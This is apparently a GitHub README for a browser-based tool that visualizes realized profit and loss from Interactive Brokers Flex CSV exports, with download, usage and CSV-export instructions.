🚀 ibkr-pnl-visualizer - Easily View Your Trading Gains

📥 Download Now

🚀 Getting Started

Follow these simple steps to download and run the IBKR PnL Visualizer:

1. Click the green "Download Now" button above.
2. You will be directed to the Releases page.
3. Locate the latest version of the application.
4. Download the file for your operating system.

🛠️ System Requirements

• A modern web browser (Chrome, Firefox, or Edge).
• Basic computer skills to upload a file.
• A stable internet connection to access the demo and help resources.

📂 How to Use the Application

Step 1: Open the Application

1. Once you've downloaded the necessary files, look for index.html in your downloaded folder.
2. Double-click index.html to open it in your web browser. The application will load automatically.

Step 2: Explore Demo Data

• The first load will show you demo data. This allows you to get familiar with the interface without needing your own files right away.

Step 3: Upload Your IBKR Flex CSV

1. Click the "Upload CSV" button located in the application.
2. Select your Flex CSV file from Interactive Brokers. Ensure you choose the "Closed Lots" option or include the Realized P/L fields for accurate results.

Sample CSV Guide

Ensure your CSV contains the following columns:

• Trade Date
• Symbol
• Quantity
• Realized P/L

Step 4: View Visualizations

• Once your file uploads, you will see your realized PnL presented visually.
• Use the chart to track your performance over various time ranges: 24 hours, 1 week, 1 month, or all.

📊 Application Features

• Visualize cumulative Realized PnL with clear charts.
• View completed trades grouped within ~15 minute sessions.
• Access a chronological Orders view for raw fills.
• All data remains in your browser; your privacy is secure.

🌐 Live Demo

You can try out the live demo before downloading. Visit: ibkr-visualizer.up.railway.app

💻 Download & Install

To start using the IBKR PnL Visualizer:

1. Visit the Releases page: Download Here.
2. Choose your version and click the download link.
3. After the download, follow Step 1 from the "How to Use the Application" section.

📤 How do I get my CSV?

To obtain your IBKR Flex CSV:

1. Log into your Interactive Brokers account.
2. Navigate to the report section.
3. Use the "Closed Lots" option or ensure to include the Realized P/L fields for correctness.

📞 Support and Further Information

• If you face issues or have questions, open an issue on the GitHub repository. Someone in the community or the project maintainers will be happy to help!
• Please refer to the README on GitHub for updates or changes in the application.

Thank you for using the IBKR PnL Visualizer. Enjoy tracking your trading gains stress-free!